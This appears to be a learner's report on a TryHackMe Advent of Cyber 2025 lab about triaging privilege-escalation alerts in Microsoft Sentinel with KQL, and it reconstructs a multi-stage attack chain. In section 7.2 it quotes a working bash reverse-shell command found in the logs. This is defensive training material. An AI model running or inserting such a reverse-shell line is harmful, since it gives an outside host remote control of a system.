TryHackMe Advent of Cyber 2025
Day 10 Challenge Report

Alert Triaging with Microsoft Sentinel

1. Executive Summary

This report documents the completion of Day 10 of the TryHackMe Advent of Cyber 2025 event. The challenge focused on alert triaging and prioritization within Microsoft Sentinel, analyzing multiple high-severity security incidents targeting Azure infrastructure. Through systematic log correlation and KQL queries, identified privilege escalation attempts, malicious kernel module installations, reverse shell executions, and unauthorized SSH access across multiple hosts.

2. Challenge Overview

Objective: Perform alert triaging in Microsoft Sentinel, prioritize high-severity incidents, correlate related alerts, and conduct in-depth log analysis to identify attack progression.

Platform: Microsoft Sentinel (Cloud-native SIEM and SOAR)

3. Alert Triaging Fundamentals

When alerts flood in, jumping into each one inefficiently wastes resources. Not all alerts are equal - some are noise, others false positives, and few indicate real threats. Alert triaging separates chaos from clarity.

3.1 Why Triaging Matters

- Identifies alerts deserving immediate attention
- Deprioritizes low-impact events
- Safely ignores noise and false positives
- Focuses time and resources on real threats

3.2 Four Essential Triage Dimensions

1. Severity - How Bad?

Assesses potential impact. High severity indicates critical threats requiring immediate action.

2. Time - When?

Determines if threat is ongoing or historical. Recent alerts demand urgency.

3. Context - Where in Attack Lifecycle?

Identifies attack stage (initial access, privilege escalation, persistence, data exfiltration).

4. Impact - Who or What Affected?

Determines scope: users, systems, data. Critical assets require prioritization.

3.3 Post-Triage Actions

- **Escalate:** To incident response team for confirmed threats
- **Investigate:** Deeper analysis needed for ambiguous alerts
- **Close:** Confirmed false positives with rule updates

4. Deep Dive Investigation Methodology

4.1 Six-Step Investigation Process

1. **Investigate Alert Details:** Review entities, event data, detection logic
2. **Check Related Logs:** Examine relevant log sources for patterns
3. **Correlate Multiple Alerts:** Identify shared users, IPs, devices
4. **Build Timeline:** Reconstruct event sequence with timestamps
5. **Decide Next Action:** Escalate, investigate further, or close
6. **Document Findings:** Record analysis, decisions, remediation

5. Microsoft Sentinel Analysis

5.1 Platform Overview

Microsoft Sentinel is a cloud-native SIEM (Security Information and Event Management) and SOAR (Security Orchestration, Automation, and Response) platform that:

- Collects data from Azure services, applications, and connected sources
- Detects, investigates, and responds to threats in real-time
- Provides visibility into Azure tenant activities
- Enables efficient alert correlation and investigation

5.2 Initial Environment Assessment

Accessed Microsoft Sentinel instance and navigated to Incidents tab under Threat Management:

- **Total Open Incidents:** 8
- **High Severity:** 4 incidents
- **Medium Severity:** 4 incidents

Priority: Begin with high-severity alerts representing potential compromise or privilege escalation.

6. Alert Triage - High Severity Incidents

6.1 Linux PrivEsc - Kernel Module Insertion

Initial Alert Details:

- **Events:** 3 related events
- **Entities:** 3 affected entities
- **Tactic:** Privilege Escalation
- **Classification:** Recently created, high priority

6.2 Linux PrivEsc - Polkit Exploit Attempt

Affected Entities: 10

6.3 Linux PrivEsc - Sudo Shadow Access

Severity: High

6.4 Linux PrivEsc - User Added to Sudo Group

Accounts Added to Sudoers: 4

7. In-Depth Log Analysis with KQL

7.1 Kernel Module Investigation - app-02

Accessed raw events from Evidence section and converted to KQL mode for deeper analysis:

```
set query_now = datetime(2025-10-30T05:09:25.9886229Z); Syslog_CL | where host_s == 'app-02' | project _timestamp_t, host_s, Message
```

Suspicious Activity Sequence:

7. Execution of cp (copy) command creating shadow file backup
8. Addition of user account Alice to sudoers group
9. Modification of backupuser account by root
10. Insertion of malicious_mod.ko kernel module
11. Successful SSH authentication by root user

Assessment: Activity highly unusual, indicating privilege escalation and persistence behavior. Not normal system operations - warrants immediate escalation.

7.2 websrv-01 Analysis

Kernel Module Installed: malicious_mod.ko

Unusual Command by ops User:

```
/bin/bash -i >&/dev/tcp/198.51.100.22/4444 0>&1
```

Analysis: Reverse shell to external IP. Critical compromise indicator.

7.3 storage-01 Analysis

First Successful SSH Login Source: 172.16.0.12

7.4 app-01 Analysis

External Root Login Source: 203.0.113.45

Sudoers User Addition (besides backup): deploy

8. Attack Chain Reconstruction

8.1 Multi-Stage Attack Progression

Stage 1: Initial Access

- External SSH access from 203.0.113.45 to app-01
- Internal lateral movement from 172.16.0.12 to storage-01

Stage 2: Privilege Escalation

- Multiple users added to sudoers group (Alice, deploy, others)
- Shadow file manipulation for credential access
- Polkit exploit attempts across 10 entities

Stage 3: Persistence

- Malicious kernel module (malicious_mod.ko) installation
- Backdoor user accounts created
- Sudoers modifications for maintained access

Stage 4: Command & Control

- Reverse shell established to 198.51.100.22:4444 from websrv-01

9. Key Skills Developed

- Alert triage prioritization methodology
- Microsoft Sentinel SIEM navigation
- Incident correlation across multiple entities
- KQL (Kusto Query Language) analysis
- Log analysis and timeline reconstruction
- Attack chain identification
- Privilege escalation detection
- Security alert investigation workflows

10. Conclusion

Day 10 of the TryHackMe Advent of Cyber 2025 provided comprehensive training in security alert triaging within Microsoft Sentinel. Through systematic analysis of high-severity incidents, successfully identified a coordinated multi-stage attack involving initial access, privilege escalation, persistence, and command-and-control establishment.

The challenge demonstrated the critical importance of structured triage methodology, alert correlation, and in-depth log analysis. By applying the four essential triage dimensions (Severity, Time, Context, Impact) and utilizing KQL queries for detailed investigation, reconstructed the complete attack chain revealing compromise across multiple Azure hosts.

Challenge Status: **COMPLETED ✓**